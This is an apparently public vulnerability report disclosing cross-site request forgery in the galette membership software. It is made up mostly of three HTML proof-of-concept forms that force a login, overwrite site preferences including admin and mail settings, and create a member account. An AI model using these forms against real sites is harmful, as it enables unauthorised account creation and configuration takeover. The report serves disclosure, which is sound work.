Cross-Site Request Forgery (CSRF) in galette/galette
Valid
Reported on
Sep 25th 2021
Description
Attacker is able to execute an CSRF attack when a user visits a malicious page
Proof of Concept
// PoC.html
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost:8081/webroot/index.php/login" method="POST">
<input type="hidden" name="login" value="test" />
<input type="hidden" name="password" value="test" />
<input type="hidden" name="ident" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Impact
This vulnerability is capable of allowing an attacker to submit CSRF through a crafted malicious page
Occurrences
preferences.tpl L1-L687
Allows attacker to change site preferences if an administrator visits malicious page
//POC.html
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost:8081/webroot/index.php/preferences" method="POST">
<input type="hidden" name="pref_nom" value="TEST CSRF" />
<input type="hidden" name="pref_slogan" value="" />
<input type="hidden" name="pref_footer" value="" />
<input type="hidden" name="logo" value="" />
<input type="hidden" name="pref_adresse" value="-" />
<input type="hidden" name="pref_adresse2" value="" />
<input type="hidden" name="pref_cp" value="" />
<input type="hidden" name="pref_ville" value="" />
<input type="hidden" name="pref_pays" value="" />
<input type="hidden" name="pref_postal_adress" value="0" />
<input type="hidden" name="pref_postal_staff_member" value="-1" />
<input type="hidden" name="pref_website" value="" />
<input type="hidden" name="pref_googleplus" value="" />
<input type="hidden" name="pref_facebook" value="" />
<input type="hidden" name="pref_twitter" value="" />
<input type="hidden" name="pref_linkedin" value="" />
<input type="hidden" name="pref_viadeo" value="" />
<input type="hidden" name="pref_lang" value="en_US" />
<input type="hidden" name="pref_numrows" value="10" />
<input type="hidden" name="pref_redirect_on_create" value="0" />
<input type="hidden" name="pref_log" value="1" />
<input type="hidden" name="pref_statut" value="9" />
<input type="hidden" name="pref_filter_account" value="0" />
<input type="hidden" name="pref_membership_ext" value="12" />
<input type="hidden" name="pref_beg_membership" value="" />
<input type="hidden" name="pref_membership_offermonths" value="0" />
<input type="hidden" name="pref_bool_publicpages" value="1" />
<input type="hidden" name="pref_publicpages_visibility" value="1" />
<input type="hidden" name="pref_bool_selfsubscribe" value="1" />
<input type="hidden" name="pref_new_contrib_script" value="" />
<input type="hidden" name="pref_rss_url" value="http://galette.eu/dc/index.php/feed/atom" />
<input type="hidden" name="pref_galette_url" value="" />
<input type="hidden" name="pref_email_nom" value="Galette" />
<input type="hidden" name="pref_email" value="mail@domain.com" />
<input type="hidden" name="pref_email_reply_to" value="" />
<input type="hidden" name="pref_email_newadh" value="mail@domain.com" />
<input type="hidden" name="pref_bool_wrap_mails" value="1" />
<input type="hidden" name="pref_mail_method" value="0" />
<input type="hidden" name="pref_mail_smtp_host" value="" />
<input type="hidden" name="pref_mail_smtp_port" value="" />
<input type="hidden" name="pref_mail_smtp_user" value="" />
<input type="hidden" name="pref_mail_smtp_password" value="" />
<input type="hidden" name="pref_mail_sign" value="{NAME} {WEBSITE} {GOOGLEPLUS} {FACEBOOK} {TWITTER} {LINKEDIN} {VIADEO}" />
<input type="hidden" name="pref_etiq_marges_v" value="10" />
<input type="hidden" name="pref_etiq_marges_h" value="10" />
<input type="hidden" name="pref_etiq_hspace" value="10" />
<input type="hidden" name="pref_etiq_vspace" value="5" />
<input type="hidden" name="pref_etiq_hsize" value="90" />
<input type="hidden" name="pref_etiq_vsize" value="35" />
<input type="hidden" name="pref_etiq_cols" value="2" />
<input type="hidden" name="pref_etiq_rows" value="7" />
<input type="hidden" name="pref_etiq_corps" value="12" />
<input type="hidden" name="pref_card_abrev" value="GALETTE" />
<input type="hidden" name="pref_card_strip" value="Gestion d'Adherents en Ligne Extrêmement Tarabiscotée" />
<input type="hidden" name="pref_card_tcol" value="#ffffff" />
<input type="hidden" name="pref_card_scol" value="#8c2453" />
<input type="hidden" name="pref_card_bcol" value="#53248c" />
<input type="hidden" name="pref_card_hcol" value="#248c53" />
<input type="hidden" name="card_logo" value="" />
<input type="hidden" name="pref_card_self" value="1" />
<input type="hidden" name="pref_card_address" value="1" />
<input type="hidden" name="pref_card_year" value="2021" />
<input type="hidden" name="pref_card_marges_v" value="15" />
<input type="hidden" name="pref_card_marges_h" value="20" />
<input type="hidden" name="pref_card_vspace" value="5" />
<input type="hidden" name="pref_card_hspace" value="10" />
<input type="hidden" name="pref_password_length" value="6" />
<input type="hidden" name="pref_password_strength" value="0" />
<input type="hidden" name="pref_admin_login" value="admin" />
<input type="hidden" name="pref_admin_pass" value="" />
<input type="hidden" name="pref_admin_pass_check" value="" />
<input type="hidden" name="valid" value="1" />
<input type="hidden" name="pref_theme" value="default" />
<input type="hidden" name="pref_telemetry_date" value="" />
<input type="hidden" name="pref_instance_uuid" value="" />
<input type="hidden" name="pref_registration_date" value="" />
<input type="hidden" name="pref_registration_uuid" value="93" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
member.tpl L1-L364
//POC.html
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost:8081/webroot/index.php/member/store" method="POST">
<input type="hidden" name="photo" value="" />
<input type="hidden" name="titre_adh" value="" />
<input type="hidden" name="sexe_adh" value="0" />
<input type="hidden" name="nom_adh" value="test" />
<input type="hidden" name="prenom_adh" value="" />
<input type="hidden" name="societe_adh" value="" />
<input type="hidden" name="pseudo_adh" value="" />
<input type="hidden" name="ddn_adh" value="" />
<input type="hidden" name="lieu_naissance" value="" />
<input type="hidden" name="prof_adh" value="" />
<input type="hidden" name="pref_lang" value="en_US" />
<input type="hidden" name="adresse_adh" value="123213123" />
<input type="hidden" name="adresse2_adh" value="" />
<input type="hidden" name="cp_adh" value="312312" />
<input type="hidden" name="ville_adh" value="gfgdfgf" />
<input type="hidden" name="pays_adh" value="" />
<input type="hidden" name="tel_adh" value="" />
<input type="hidden" name="gsm_adh" value="" />
<input type="hidden" name="email_adh" value="" />
<input type="hidden" name="url_adh" value="" />
<input type="hidden" name="jabber_adh" value="" />
<input type="hidden" name="gpgid" value="" />
<input type="hidden" name="activite_adh" value="1" />
<input type="hidden" name="id_statut" value="9" />
<input type="hidden" name="login_adh" value="test1" />
<input type="hidden" name="mdp_adh" value="test1234" />
<input type="hidden" name="mdp_adh2" value="test1234" />
<input type="hidden" name="date_crea_adh" value="2021-09-25" />
<input type="hidden" name="info_adh" value="" />
<input type="hidden" name="info_public_adh" value="" />
<input type="hidden" name="redirect_on_create" value="0" />
<input type="hidden" name="valid" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
N modified the report
2 years ago
N modified the report
2 years ago
N modified the report
2 years ago
member.tpl#L1-L364
has been validated
preferences.tpl#L1-L687
has been validated
to join this conversation